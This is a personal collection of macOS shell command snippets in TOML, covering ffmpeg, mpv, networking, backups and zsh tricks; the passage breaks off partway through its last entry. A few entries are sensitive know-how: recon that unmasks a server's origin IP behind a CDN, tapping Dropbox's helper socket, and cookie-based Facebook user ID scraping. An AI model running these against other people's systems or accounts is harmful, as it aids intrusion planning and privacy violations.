description = "shell-fu: rename Dropbox upload screenshots to match Dropbox Camera Upload naming conventions. Assumes current year and current year is 2021. Uses a little shell-fu to generate the renaming regex for `rename`."
command = "OG_IFS=\"$IFS\"; IFS=$'\\n'; rename -n \"$(for x in {01..12}; do IFS=$'\\n' gdate --date=\"2004-$x-29\" '+s/Photo\\ %b\\ /2021-%m-/g;'; done);s/(?<\\!Screenshot)\\.(\\w+)$/-iPhone-Screenshot\\.\\1/g\" $(fd --max-depth=1 --changed-within=10M \"Photo \" .); IFS=\"$OG_IFS\""
output = ""
[[snippets]]
description = "macOS: find obscure helper tools bundle with Apple'"
command = "fd -t x . /System/Library/Extensions | g -v \\.dylib | GREP_OPTIONS=--color=auto g \"/[a-z][^/]*$\""
output = ""
[[snippets]]
description = "git search: Search all git repo commits for files contains a certain string, or all commits for filenames matching a certain string. (or regex in all cases)"
command = "git grep \"osascript\" $(git rev-list --all); git log --all -- '*info.plist*'"
output = ""
[[snippets]]
description = "shell-fu/activity monitor: Sum up a column of numbers taken from a screenshot of activity monitor. Assumes all the same unit. The 2s delay give you a bit to get the proper window in focus'"
command = "sleep 2;ocr | grep -o -E \"[0-9\\.]+\" | awk '{sum+=$1} END {print sum}'"
output = ""
[[snippets]]
description = "networksetup macOS/shell-fu: reorder network service, but pre-prompt with the already existing order. Some weird shell-fu in here to get the list right."
command = "OG_IFS=\"$IFS\"; IFS=$'\\n'; SERVICES=($(for i in $(networksetup -listnetworkserviceorder | g \"^\\(\\d\" | hck -f 2- -D \" \") ; do echo \"$i\"; done;)); IFS=\"$OG_IFS\"; # echo networksetup -ordernetworkservices $SERVICES"
output = ""
[[snippets]]
description = "networksetup macOS: Clear a previously set dnserver, returning it back to default behavior"
command = "networksetup -setdnsservers <network_service_name> \"Empty\""
output = ""
[[snippets]]
description = "iOS/configuator: copy configurator extracted app IPA files to Dropbox"
command = "fd -e ipa . \"/Users/chris/Library/Group Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps/\" --exec cp -nv {} ~/Dropbox/Takeout_Data/iOS/ios_app_ipas/{/.}_$(gdate '+%Y_%m_%d').ipa"
output = ""
[[snippets]]
description = "extract addressbook from iOS backup"
command = "/System/Library/PrivateFrameworks/MobileDevice.framework/Versions/Current/AppleMobileDeviceHelper.app/Contents/Resources/AppleMobileBackup --extract Library/AddressBook"
output = ""
[[snippets]]
description = "extract Calendar from iOS backup"
command = "/System/Library/PrivateFrameworks/MobileDevice.framework/Versions/Current/AppleMobileDeviceHelper.app/Contents/Resources/AppleMobileBackup --extract Library/Calendar"
output = ""
[[snippets]]
description = "extract sensisitive encrypted Health data from iOS backup"
command = "/System/Library/PrivateFrameworks/MobileDevice.framework/Versions/Current/AppleMobileDeviceHelper.app/Contents/Resources/AppleMobileBackup -D HealthDomain --extract Health --password [PASSWORD]"
output = ""
[[snippets]]
description = "macOS: show the two completely seperate varieties of the `profiles` tool. So funny how there's basically two overlapping interfaces that coexist."
command = "# profiles -h; profiles help; man profiles; man profiles.old"
output = ""
[[snippets]]
description = "mpv/iina/shell-fu: Cool example of batching IPC requests to socat. Can't do everything in one request since that's too much. But executing socat each time is too slow. This is juuust right. In this example all mpv properties are searched for \".mkv\" and the corresponding property it was found in is printed"
command = "for p in $(mpg property-list | jq -r \".data[]\" | sort ) ; do echo '{ \"command\": [\"get_property\", \"'\"$p\"'\"],\"request_id\":\"'\"$p\"'\"}' ; done | gparallel -j 1 -n30 \"for x in {} ; do echo \\$x; done | socat - $MPV_SOCK \" | jq -r 'if (has(\"data\")) then {\"PROP:\\(.request_id)\":.data} else . end' | grep --line-buffered \"\\.mpv\\|PROP:\" | grep --line-buffered -B1 \"\\.mkv\""
output = ""
[[snippets]]
description = "iOS ipa: Extract an ipa file contents. Unarchiver works particularly well and easy for me. 🤷‍♂️"
command = "open -a \"The Unarchiver\" some_app.ipa"
output = ""
[[snippets]]
description = "tmutil/time machine: comapre some backups. Timedog is way better."
command = "tmutil compare -n -D 1 \"/Volumes/Core3/Backups.backupdb/Discovery/2021-11-25-123128/Macintosh HD - Data/Applications\" \"/Volumes/Core3/Backups.backupdb/Discovery/2021-10-28-155722/Macintosh HD - Data/Applications/\""
output = ""
[[snippets]]
description = "time machine/shell-fu: Find recently changed files/folder in the current dir and check for the time machine inclusion status. Good for seeing if something huge you've added to /Applications should just be excluded from Time Machine"
command = "fd --changed-within=8w -d 1 -0 | parallel -0 -j 10 'echo $(gdu -d 0 -h {} | hck -f 1 ) \\\\t $(tmutil isexcluded {/} | sed -E \"s/ \\/.*\\///g\")' | gsort --human-numeric-sort"
output = ""
[[snippets]]
description = "ascii maps! Show \"google maps\" in terminal/ascii. Lets call it Hacker Maps."
command = "npx mapscii"
output = ""
[[snippets]]
description = "graphql/imdb: Query imdb's introspection documented graphql endpoints. Interesting some values require auth, which I don't know how to get, and some don't like plot. Could be handy."
command = "curl 'https://api.graphql.imdb.com/' -H 'authority: api.graphql.imdb.com' -H 'content-type: application/json' --data-raw $'{\"variables\":{\"id\":\"tt0096684\"},\"query\":\"query TitletrvAnswersCtaQuery($id: ID\\u0021) { title(id: $id) { userRating { value } contributionQuestions(first: 1) { edges { node { questionId questionText { plainText } } } } primaryImage { url caption { plainText } } } }\"}' --compressed | jq"
output = ""
[[snippets]]
description = "macOS/ReportCrash: Semi-permanently unload or load the ReportCrash service. Note that the `-w` flags sets a disabled or \"enabled\" flag that override's the plist's flag. After unloading this way it will be treated as disable and cant be loaded with just a regular 'launchctl load'. Similarly after loading this way it'll be treated as enable."
command = "sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root.plist; # sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root.plist"
output = ""
[[snippets]]
description = "shell averge numbers+column/network speed comparison/shell-fu: Get some curl stats for a bunch of URL requests. Save to a file. Then analyze the results. Used when confirming that my Wireguard VPN slows down all internet traffic, even traffic that isn't being routed through it."
command = "for x in {1..50}; do for u in \"https://www.google.com\" \"https://www.reddit.com\" \"https://www.lingt.com\" \"https://poopscoop.io\" ; do ; echo $u; echo $x; done ; done | gparallel -n 2 -j 4 'curl -s --output /dev/null -L -r 0-50000000 -w \"time_connect: %{time_connect} time_namelookup: %{time_namelookup} time_pretransfer: %{time_pretransfer} time_starttransfer: %{time_starttransfer} time_redirect: %{time_redirect} time_total: %{time_total} num_connects: %{num_connects} num_redirects: %{num_redirects} url_effective: %{url_effective}\\tx: {2}\\n\" {1}' | tee /tmp/stats_direct; #......... # for t in \"direct\" \"vpn\"; do lines=\"$(cat stats_${t} | hck -f 2)\"; c=$(echo $lines | wc -l); echo \"average= $(roundNum $(( $(echo $lines | awk '{sum+=$1} END {print sum}') / $c )) 6 ) count=$(echo $c | bc) $t\"; done"
output = ""
[[snippets]]
description = "shell-fu: Nicely print out a command defined in an array. First example just joins with `'`, second example exclude quoting on first value and quotes the rest. Smartest would be to show quotes only when necessary"
command = "CMD=(curl 'https://something/ some space' '-j' 2); printf '%s\\n' \"${${(@qq)CMD}}\"; printf \"$fg_bold[white]$CMD[1] %s${reset_color}\" \"${${(@qq)CMD[2,$#CMD]}}\""
output = ""
[[snippets]]
description = "launchd: unload a launchd job based on a process string match. Assumes lots of things. Need sudo to use launchctl procinfo to get the launchd .plist path since, annoyingly, that's the only way to unload a job."
command = "pname=\"lock_watch\"; pgrep -f -l \"$pname\" && echo \"Unload that?\" && read && launchctl unload \"$(sudo launchctl procinfo $(pgrep -f \"$pname\") | g plist | g path | hck -f 4)\""
output = ""
[[snippets]]
description = "shell-fu: output a CLICKABLE url to your terminal! Supported in many major terminals. Actually clickable. Amazing. Link text can be different that URL target."
command = "function echoUrl() { printf '\\e]8;;'\"$1\"'\\e\\\\'\"$1\"'\\e]8;;\\e\\\\\\n' }"
output = ""
[[snippets]]
description = "shell-fu: Strip clickable url terminal control codes. Special case."
command = "echoUrl \"https://memory-alpha.fandom.com/wiki/Borderland_(episode)\" | sed -r \"s/\\x1B\\]8;;.*\\x1B\\\\\\(.*)\\x1B\\]8;;\\x1B\\\\\\/\\1/g\""
output = ""
[[snippets]]
description = "imdb api/iina/mpv: Show the plot for a title, as fetched from IMDBs semi-secret but semi-open graphql API, and then display it as text on the current MPV/IINA window. Relies on MPV having an ipc socket setup as defined in `$MPV_SOCK`."
command = "/bin/echo 'show-text' '\"${osd-ass-cc/0}{\\\\fs5.5}{\\\\q0}{\\\\a0}{\\\\bord0.8}'\"$(curl 'https://api.graphql.imdb.com/' -H 'authority: api.graphql.imdb.com' -H 'content-type: application/json' --data-raw $'{\"variables\":{\"id\":\"tt0059753\"},\"query\":\"query TitletrvAnswersCtaQuery($id: ID\\u0021) { title(id: $id) { plot { plotText { plainText } } } }\"}' --compressed | jq -r '.data.title.plot.plotText.plainText' )\"'\"' 15000 | /usr/local/bin/socat - $MPV_SOCK"
output = ""
[[snippets]]
description = "hue/hue hacking: Configure my hue dimmer switch to trigger a custom scene when I long press on the power button. The hue app GUI no longer lets you do this! Finding the rule # (24), and scene id, require more queries and more work. I figured out the rules by hackily just twiddling what long press does in the app and diffing the GET /rules state before and after"
command = "curl -X PUT http://192.168.88.28:80/api/${HUE_KEY}/rules/24 -H 'Accept: application/json' -H 'Content-Type: application/json' -H 'Host: 192.168.88.28' -d '{ \"actions\": [{ \"address\": \"/groups/0/action\", \"method\": \"PUT\", \"body\": { \"scene\": \"8xij0GXEx-WtD7N\" } }] }' | jq"
output = ""
[[snippets]]
description = "extract exif data from an image embedded in the exif data of another file"
command = "exiftool -b -'ThumbnailImage' some_file | exiftool -a -"
output = ""
[[snippets]]
description = "fswatch/svp: fswatch run command example. In this case, every time the SVP motion interpolation vapoursynth script changes, twiddle some mpv values so that the changes are applied to the current video"
command = "/usr/local/bin/fswatch -0 \"/Users/chris/Dropbox/.config_synced/mpv/SVP-MOINT.py\" | xargs -0 -n 1 -I {} /Users/chris/Dropbox/.config_synced/mpv/svp_update.sh"
output = ""
[[snippets]]
description = "shell-fu: Print the deepest directories in the current path"
command = "gfind \".\" -type d -printf \"%d::%p\\n\" | pv -l | sort -nr | head -20 | hck -d \"::\" -f 2"
output = ""
[[snippets]]
description = "shell-fu: Fetch total size of all files modified recently int he last 3 days. Exclude some folders and only includes files over 50k in size. Useful first step if figuring out how big a time machine backup will be, though this doesn't do much for actually telling me where the recent file size growth was. (p.s. time machine doens't store in binary diffs of large file, so one 1 byte changes in a huge file an entirely new copy of that file is backed up. Though most file storage architectures do that too. (for example, Dropbox lets client issue updates for files with efficient rsync binary diffs, but that just makes the Dropbox backend fetch the whole file, apply the diff, then store a new copy of the file. Though Dropbox hashes 4MB chunks so at least there's lots of savings there)"
command = "fd --size=\"+50k\" --exclude=\"*MobileSync*\" --exclude=\"*Google*\" -t file --changed-within=3d -0 | gparallel -0 -n 500 ls -FaGl {} | pv -l | awk '{ total += $5 }; END { print \"total size in MiB: \",total/1024/1024 }'"
output = ""
[[snippets]]
description = "decode protobuf response with schema definition. Can still identify strings pretty easily"
command = "cat login_response| protoc --decode_raw"
output = ""
[[snippets]]
description = "shell-fu: Sum size of all .mp4 file in this directory recursively"
command = "stat -f \"%z\" **/**.mp4 | awk '{sum+=$1} END {print sum/1024/1024 \" MB\"}'"
output = ""
[[snippets]]
description = "monitor file changes just by hijacking the socket that Dropbox's privledged helper uses to communicate file activity to the other Dropbox processes. Only seems to still work on Mojave,"
command = "nc -U /tmp/.dbfseventsd"
output = ""
[[snippets]]
description = "tls/https/web: Get TLS/HTTPS hello hash, and then search for other user agents with the same hash. Hashes are different between clients even when making identitical requests. Lets you identity curl requests"
command = "TLS_HASH=$(curl -X GET 'https://ja3er.com/json' | jq -r '.ja3_hash' | tee /dev/stderr); curl -X GET \"https://ja3er.com/search/$TLS_HASH\" | jq"
output = ""
[[snippets]]
description = "srt/subtitles/mpv: Try all subtitle scalings and add them to current mpv session"
command = "for SF in \"NTSCPAL\" \"PALNTSC\" \"NTSCFILM\" \"PALFILM\" \"FILMNTSC\" \"FILMPAL\" ; do srtlab -v -s ${SF} input_srt > SOMETITLE.s01.e01.${SF}.srt ; done; for f in DS9.s01.e01.* ; do mpsubadd $f; done"
output = ""
[[snippets]]
description = "APFS/macOS file compresion: Tell APFS to transparently compress files stored on disk"
command = "_afsctool -v -cl -s 10 data"
output = ""
[[snippets]]
description = "supercut prep: re-generate sentence subtitles"
command = "for d in \"/Volumes/Turbolift/Star Trek/The Next Generation/Original_not_remastered\" \"/Volumes/Turbolift/Star Trek/DS9\" ; do time fd -0 -e srt . ${d}/srt | gparallel -0 -j 10 'echo \"===={/}\"; srt_to_sentences.lua {} > '\"${d}\"'/srt_sentences/{/}'; done"
output = ""
[[snippets]]
description = "ffmpeg: Count frame count after removing duplicates with `mpdecimate`. Useful when you know an 30fps CFR media should be 23.976 fps (vfr) and you want to tune the mpdecimate params to get it juuuust right."
command = "LEN=300; T=`mpg time-pos`; PRE_SEEK=10; ffmpeg -hide_banner -y -ss $((T-PRE_SEEK)) -i \"`mpp`\" -ss \"$PRE_SEEK\" -t $LEN -map 0:v -vf \"mpdecimate=max=1:lo=64*1.5,scale=-2:360:flags=neighbor\" -c:v libx264 -preset ultrafast /tmp/tmp.mkv ; FC=$(ffprobe -loglevel error -select_streams v:0 -show_entries packet=pts_time,flags -of csv=print_section=0 /tmp/tmp.mkv | wc -l); echo \"FC: $FC FPS: $(($FC/${LEN}.0))\";"
output = ""
[[snippets]]
description = "ffmpeg: fix audio/video syncing issue that arises when combining many .mp4 clips. Not sure exactly why...fixing the root issue would probably be better than this but it works and i can't tell the difference"
command = "## -af \"aresample=async=1:first_pts=0\""
output = ""
[[snippets]]
description = "shell-fu/ffmpeg: Get keyframe time codes for the first 3 minutes from some input media. Then show the difference between each frame and its previous one. Makes it easy to spot lazily encoded media that uses a fixed keyframe distance"
command = "ffprobe -loglevel error -select_streams v:0 -read_intervals '%03:00' -show_entries packet=pts_time,flags -of csv=print_section=0 input.mp4 | grep \"K\" | hck -d , -f 1 | sort -n | awk ' NR == 1{old = $1; next} {print $1 - old; old = $1}' | less"
output = ""
[[snippets]]
description = "star trek: clean scripts"
command = "ag -ti --workers 8 --nofilename \"[A-Z]: \" | grep -E \":\\W?(\\s+\\S+){4,100}\\s?$\" | gsed -E \"s/:\\s*((\\[|\\()[A-Za-z0-9 ]+(\\]|\\)))?\\s*:/__:__/g\" | sed -E \"s/(:.{5,})\\s+([\\'A-Z]+( \\[OC\\])?:)/\\1\\n\\2/g\" | grep \":.*:\""
output = ""
[[snippets]]
description = "subsync: Sync just a single sub using `subsync`. The tool assumes you want pretty accurate subs for a whole file, when I really want super-accurate subs for a single line. Tricky can be `abused` to do this. Though no way to have it work on whole files, i.e., take pretty accurate subs for a whole file and make 0.05-0.4 second corrections for each individual subtitle."
command = "subsync --overwrite --min-points-no=1 --loglevel=INFO --jobs=1 --min-word-len=2 --window-size=1 --effort=1 sync --ref-lang=en --ref out23.mp4 --ref-stream-by-type=audio --sub out23.srt --out out23_FIXED.srt"
output = ""
[[snippets]]
description = "subsync: batch sync a bunch a clips. Only gives results about 1/4th of the time but when it works its always more accurate... so far. Still need to figure out how to work this in with the rest of the script"
command = "rm /tmp/fixed_subs_maybe/*.srt; for x in {1..62} ; do subsync --overwrite --min-points-no=1 --jobs=1 --min-word-len=2 --window-size=1.2 --effort=1 sync --ref-lang=en --ref out${x}.mp4 --ref-stream-by-type=audio --sub out${x}.srt --out fixed_subs_maybe/out${x}.srt ; done # cp -c $(\\ls /tmp/fixed_subs_maybe | grep -E -o \"out[0-9]+\\.srt\" | sed 's/\\.srt/\\.mp4/g') /tmp/fixed_subs_maybe"
output = ""
[[snippets]]
description = "facebook: get FB userid from a user profile. Requires authorization cookies. VERY BRITTLE OBVIOUSLY."
command = "curl 'https://www.facebook.com/some_username' -H 'authority: www.facebook.com' -H 'pragma: no-cache' -H 'cache-control: no-cache' -H 'viewport-width: 3008' -H 'sec-ch-ua: \\\" Not A;Brand\\\";v=\\\"99\\\", \\\"Chromium\\\";v=\\\"96\\\", \\\"Google Chrome\\\";v=\\\"96\\\"' -H 'sec-ch-ua-mobile: ?0' -H 'sec-ch-ua-platform: \\\"macOS\\\"' -H 'dnt: 1' -H 'upgrade-insecure-requests: 1' -H 'user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36' -H 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' -H 'sec-fetch-site: same-origin' -H 'sec-fetch-mode: navigate' -H 'sec-fetch-user: ?1' -H 'sec-fetch-dest: document' -H 'accept-language: en-US,en;q=0.9' -H 'cookie: <<COOKIE>>' | --compressed | htmlq | grep -E -o '(\"userVanity\":\"[^\"]+\",\"userID\":\"\\d+\"|userID\":\"\\d+\",\"userVanity\")' | grep -E -o \"\\d+\" | head -1"
output = ""
[[snippets]]
description = "shell-fu: In function accept either arguments OR stdin."
command = "function rstrip() { ( (( $# )) && printf '%s\\n' \"$@\" || cat ) | sed -E 's/0+$//' }"
output = ""
[[snippets]]
description = "https/network reconnaissance: Take a list of sublist3r sub-domains, and look up each's HTTPS cert when the domain of another site is passed in. This can sometimes reveal a staging/production server's real IP that's not hidden behind CDN/Cloudflare. Uses my `certs` func to do the openssl calls. Uses my forked `runcachedFunc` to cache results. Uses GNU parallel to parallize the requests. Accessing the cache is still surprisingly slow, since gparallel makes a new shell instance each time, but it works."
command = "{cat united_domains.txt } | g -v \"^[^\\.]+\\.united.com\" | head -50 | env_parallel --timeout 8 --env eeecho --env vecho2 --env runcachedFunc --env certs -j 3 'echo \"===== {}\"; echo | runcachedFunc --ignore-env --ttl 3600 certs {} www.united.com | grep \"Subject:\" | grep -E -o \"CN=.*$\"' | tee /tmp/domain_https.log"
output = ""
[[snippets]]
description = "prepend lines with the current time and the \"run time\" of each line."
command = "for f in * ; do echo $f | ts -s '(%H:%M:%.S)]' | ts '[%Y-%m-%d %H:%M:%S' ; sleep 0.4; done"
output = ""
[[snippets]]
description = "super hacky: merge json episode lists into 1 array for use with jq"
command = "{ echo \"[\" ; for s in {1..7} ; do _curlcache -s https://imdb-api.com/en/API/SeasonEpisodes/${IMDB_API_KEY}/${TITLE_IMDB}/${s} | jq '.episodes'; done | grep -v -E \"(\\]|\\[)\" | sed -E \"s/}$/},/g\"; echo \"]\"} | gsed ':a;N;$!ba;s/},\\n]/}]/g'"
output = ""
[[snippets]]
description = "star trek: Get all IMDB_TITLE episodes from imdb-api.com and sort by imdb rating. Current title is DS9. In the Pale Moonlight is a worth the top spot!"
command = "TITLE_IMDB=tt0106145; { echo \"[\" ; for s in {1..7} ; do _curlcache -s \"https://imdb-api.com/en/API/SeasonEpisodes/${IMDB_API_KEY}/${TITLE_IMDB}/${s}\" | jq '.episodes'; done | grep -v -E \"(\\]|\\[)\" | sed -E \"s/}$/},/g\"; echo \"]\"} | gsed ':a;N;$!ba;s/},\\n]/}]/g' | jq 'map(.imDbRating |= tonumber) | sort_by(.imDbRating)[] | with_entries(select([.key] | inside([\"title\", \"plot\",\"imDbRating\",\"released\",\"episodeNumber\"]))) ' | less"
output = ""
[[snippets]]
description = "shell-fu/terminal: Put full color detailed images into the terminal! works on iTerm and a few others but not much else"
command = "echo \"here's an inline image: $(img2sixel -h 100 meme.jpg)\""
output = ""
[[snippets]]
description = "telnet various things. .starwars and .clock are great"
command = "telnet telehack.com"
output = ""
[[snippets]]
description = "skethchy: Look up your current IP address in a very sketchy online database. If you work from home in a registered business it might just return your home address.... srsly."
command = "curl 'https://api.company-target.com/api/v2/ip.json?referrer=null&page=https%3A%2F%2Fwww.dropbox.com%2F&page_title=3rd%20Party%20iFrame&src=tag&auth=iSoQFWfPqMjvlBrA0TgEGBcKBdBVBV7tU1GKSGug' -H 'authority: api.company-target.com' -H 'pragma: no-cache' -H 'cache-control: no-cache' -H 'sec-ch-ua: \" Not A;Brand\";v=\"99\", \"Chromium\";v=\"96\", \"Google Chrome\";v=\"96\"' -H 'dnt: 1' -H 'sec-ch-ua-mobile: ?0' -H 'user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36' -H 'sec-ch-ua-platform: \"macOS\"' -H 'accept: */*' -H 'origin: https://marketing.dropbox.com' -H 'sec-fetch-site: cross-site' -H 'sec-fetch-mode: cors' -H 'sec-fetch-dest: empty' -H 'referer: https://marketing.dropbox.com/' -H 'accept-language: en-US,en;q=0.9' --compressed | jq"
output = ""
[[snippets]]
description = "generate a valid Mac .app from a shell script. Unlike other solutions this .app is actually treated like the app for security purposes."
command = "/usr/local/bin/platypus --quit-after-execution --app-icon '/Applications/Platypus.app/Contents/Resources/PlatypusDefault.icns' --name 'SnoozeSH3' --interface-type 'Text Window' --interpreter '/bin/bash' --author 'Chris' '/Users/chris/Dropbox/workspace-defiant/automation_utils/snooze.sh'"
output = ""
[[snippets]]
description = "ffmpeg/live video rtsp PUSH: Stream live video from an iPhone's LiveReporter app using RTSP PUSH. Actually works. Sadly the latency doesn't seem any better than connecting to the iPhone's hosted RTSP server directly. Maybe can improve latenc by tweaking more settings. The key part is just 'ffplay -rtsp_flags listen \"rtsp://192.168.1.77:5544/v1\"'"
command = "sudo ffplay -rtsp_flags listen \"rtsp://192.168.1.77:5544/v1\" -noinfbuf -fflags discardcorrupt -probesize 32 -strict experimental -avioflags direct -fflags nobuffer -flags low_delay -sync ext -analyzeduration 0"
output = ""
[[snippets]]
description = "sshd macOS: Configure macOS to actually save the sshd logs, allowing you to view the history of logins later. Otherwise these things aren't logged or are logged and purge very quickly."
command = "log config --mode \"level:debug\" --mode \"persist:info\" --subsystem com.openssh.sshd; # sudo log show --last 10d --info --debug --predicate \"messageType = 'info' && process == 'sshd' \""
output = ""
[[snippets]]
description = "shell-fu: Time shell func execution or anything manually"
command = "START=$(gdate \"+%s%3N\"); echo hi; echo \"TIME: $(( ($(gdate \"+%s%3N\") - $START )/1000.0 ))\";"
output = ""
[[snippets]]
description = "shell-fu: Make a tmp file that is always auto-deleted on exit with `trap`"
command = "#local tmpfile=\"$(mktemp --tmpdir=\"${TMPDIR:-/tmp}\" tmp-file.XXXXXX)\"; echo .... ; trap \"rm -f \\\"${tmpfile}\\\"\" RETURN EXIT"
output = ""
[[snippets]]
description = "shell-fu: Shell http proxy"
command = "echo \"\" > /tmp/buffer; tail -f /tmp/buffer | netcat httpbin.org 80 | netcat -lp 8080 > /tmp/buffer"
output = ""
[[snippets]]
description = "monitor ongoing system-calls on any process! like fs_usage for sys_calls. Need to know about sys calls to make use of it but pretty coolio"
command = "sudo sc_usage Finder -e -s2"
output = ""
[[snippets]]
description = "macOS opendirectory CPU usage debugging: opendirectoryd was burning CPU. Used these logging messages to track it to `automount` which was constantly looking up the `auto_home` for 'jonathon' and i have no idea why... super weird. I just disabled automountd and that stopped the issue but have no idea whats causing those jonathon lookups. Appears to be trying to mount a network share."
command = "## sudo log stream --debug --info --predicate \"processImagePath contains 'automount'\"; sudo log stream --debug --info --predicate \"senderImagePath Contains[c] 'OpenDirectory'\" ;"
output = ""
[[snippets]]
description = "tcpdump/wireshark: sniff/listen for Wake On Lan magic packets"
command = "sudo tshark -i en0 -Y 'wol' '(broadcast or multicast)'"
output = ""
[[snippets]]
description = "shell-fu: Call a shell function from `watch`. Just gets the definition (`which egpu`) and then call it (`egpu`)."
command = "watch \"$(which egpu); egpu\""
output = ""
[[snippets]]
description = "shell-fu: Split multiple line string or variable and assign to individual variable names. In python this would be 'unpacking'. Of course its super obtuse and brittle in shell-fu."
command = "echo \"V1\\nV2\\nV3\" | { read V1; read V2; read V3 }; # ... | jq '... | .plot,.title,.rating' | { read PLOT; read TITLE; read RATING }"
output = ""
[[snippets]]
description = "shell-fu: update line of text live in terminal. Just uses `\\r` to clear existing line."
command = "while true; do printf \"\\rRANDOM: $RANDOM\" ; sleep 0.5 ; done"
output = ""
[[snippets]]
description = "shell-fu: Using `~` as the glob exclusion pattern. This lists all *.mkv excluding any that match `*Andromeda*`"
command = "ls */*.mkv~*Andromeda*"
output = ""
[[snippets]]
description = "shell-fu: Zsh use `~` on aa variable, `GLOB_SUBST`, to expand variable value[s] as glob pattern. WISH I KNEW ABOUT THIS. $~==V2 might have some value but don't get it yet. https://stackoverflow.com/questions/58041580/zsh-what-is-variable-expansion-called-and-is-it-different-from-variable"
command = "V1=\"*.mp4\" V2=\"*.mkv *.mp4\" ; ls $~V1 ; ls $~V2; ls $~=V2; # (sort like like `eval \"ls $V\"`"
output = ""
[[snippets]]
description = "shell-fu: truncate string in zsh but with some fancy replacement text that only is applied when necessary (add trailing dots to a truncated string)"
command = "EP_PLOT='This sure is pretty darn long yes it is'; print -P '%20>...>${EP_PLOT}'; # see `man zshmisc` section 'CONDITIONAL SUBSTRINGS..'"
output = ""
[[snippets]]
description = "mdns: log all mdns packets (might not be broadcast) and also log just the extracted senders. Include DNS resolution which is nice but a bit less precise. Then later you can analyze who's sending the most mDNS queries and get an overall packets per minute/sec idea."
command = "sudo stdbuf -o 0 tcpdump \"port 5353\" -i en0 | stdbuf -i 0 -o 0 tr -s ' ' | stdbuf -i 0 -o 0 tee -a /tmp/mdns_full_dump.log | stdbuf -i 0 -o L cut -d' ' -f 3 | tee -a /tmp/mdns_senders.log"
output = ""
[[snippets]]
description = "macOS: Services menu helper tool. Can make it pick up changes."
command = "/System/Library/CoreServices/pbs"
output = ""
[[snippets]]
description = "macOS bluetooth: Monitor a connected bluetooth device's RSSI in the shell. Requires blueutil. Assumes there's only 1 connected device."
command = "CONNECTED_ID=$(blueutil --recent | g \", connected\" | tee -a /dev/stderr | grep -E -o \"(\\w\\w\\-){5}\\w\\w\"); while true ; do blueutil --info $CONNECTED_ID | g -o \"\\-\\d+ dBm\"; sleep 1; done"
output = ""
[[snippets]]
description = "bluetooth monitor like above but that prints to MPV/IINA and with some sligh error checking"
command = "CONNECTED_ID=$(blueutil --recent | g \", connected\" | tee -a /dev/stderr | grep -E -o \"(\\w\\w\\-){5}\\w\\w\"); while true ; do DBM=$(blueutil --info $CONNECTED_ID | g -o \"\\-\\d+ dBm\" || (echo3 \"DIDNT GET DBM. Disconnect?\" && psleep 60) ); mpc2 show-text '\"${osd-ass-cc/0}{\\\\pos(3,2)}{\\\\bord0.8}{\\\\fs5.5}'$DBM'\"' 1600; sleep 1.5; done"
output = ""
[[snippets]]
description = "git: Get the top committer sin a repo"
command = "git shortlog -ns --no-merges v11..fd11465 | head -n15"
output = ""
[[snippets]]
description = "jq: combines list of objects into one big object. I assume duplicate keys are wiped out"
command = "jq ' ... ' | . | add # combines list of objects into one big object. I assume duplicate keys are wiped out"
output = ""
[[snippets]]
description = "mpv/iina/socat: Listen on MPV socket (or any socket)"
command = "nc -U /tmp/iina.sock"
output = ""
[[snippets]]
description = "vid comparison/shell-fu: Get likely matching media"
command = "echo $(ls ../**/*$(guessit --json \"$(mpg path)\" | jq -r ' . | \"S\\(.season | pad_left(2))E\\(.episode | pad_left(2))\"')*.mkv | g -v 1080p)"
output = ""
[[snippets]]
description = "run gpu unigen heaven benchmarkfrom the CLI: Great for using the GPU as an electric heater"
command = "/Applications/Heaven.app/Contents/MacOS/heaven_x64.macos -project_name Heaven -data_path ../ -engine_config ../data/heaven_4.0.cfg -system_script heaven/unigine.cpp -sound_app openal -video_app opengl -video_multisample 3 -video_fullscreen 0 -video_mode 5 -extern_define ,RELEASE,LANGUAGE_EN,QUALITY_ULTRA,TESSELLATION_EXTREME -extern_plugin ,GPUMonitor"
output = ""
[[snippets]]
description = "macOS digging: interesting ARD/Screensharing utils"
command = "cd /System/Library/CoreServices/RemoteManagement/AppleVNCServer.bundle/Contents/Support; ls -la"
output = ""
[[snippets]]
description = "mpv/iina monitor like above, but using new \"add-text\" custom script binding which uses `create_overlay` instead of OSD so that it can be displayed ontop of stats.lua and other OSD messages. So much nicer"
command = "T=2.0; CONNECTED_ID=$(blueutil --recent | g \", connected\" | tee -a /dev/stderr | grep -E -o \"(\\w\\w\\-){5}\\w\\w\"); while true ; do DBM2=$(blueutil --info $CONNECTED_ID | g -o \"\\-\\d+ dBm\"); DBM=$(echo $(egpu | g Power | g -o \"\\d+\")W); mpc2 script-message add-text '\"'$DBM'\\\\N'$DBM2'\"' $((T + 0.250)); sleep ${T}; done"
output = ""
[[snippets]]
description = "video/mpv: Convert video stream to TRULY CONSTANT FRAME RATE without re-encoding. Video stream is dealth with by itself and needs to be re-combined with audio/subs later. Super annoying and round about but it works. Great for aligning videos that really are frame-for-frame aligned (with a constant offset), but the slight VFR ensures that in practice the alignment offset is constantly shifting 1 or 2 frames. https://itectec.com/superuser/change-framerate-in-ffmpeg-without-reencoding/"
command = "ffmpeg -i \"`mpp`\" -t 60 -c copy -map 0:v -vcodec copy -bsf:v h264_mp4toannexb testo.h264; ffmpeg -r \"24000/1001\" -i testo.h264 -c copy -y testo_tmp_h264.mp4; ffprobe -loglevel error -select_streams v:0 -read_intervals '%00:01' -show_entries packet=pts_time,flags -of csv=print_section=0 testo_tmp_h264.mp4 | hck -d , -f 1 | sort -n ## convert to constant framerate. Requires converting to a bitstream format that doesn't have PTS so that its easier to re-define it. See #https://itectec.com/superuser/change-framerate-in-ffmpeg-without-reencoding/"
output = ""
[[snippets]]
description = "geoip: Download all the latest MaxMind GeoLite / GeoIP databases, including the now unlimited GeoLite2-ASN db. The free ASN DB was removed from online listing but can still be downloading. Likely the free verison is nearly the same as the paid version..."
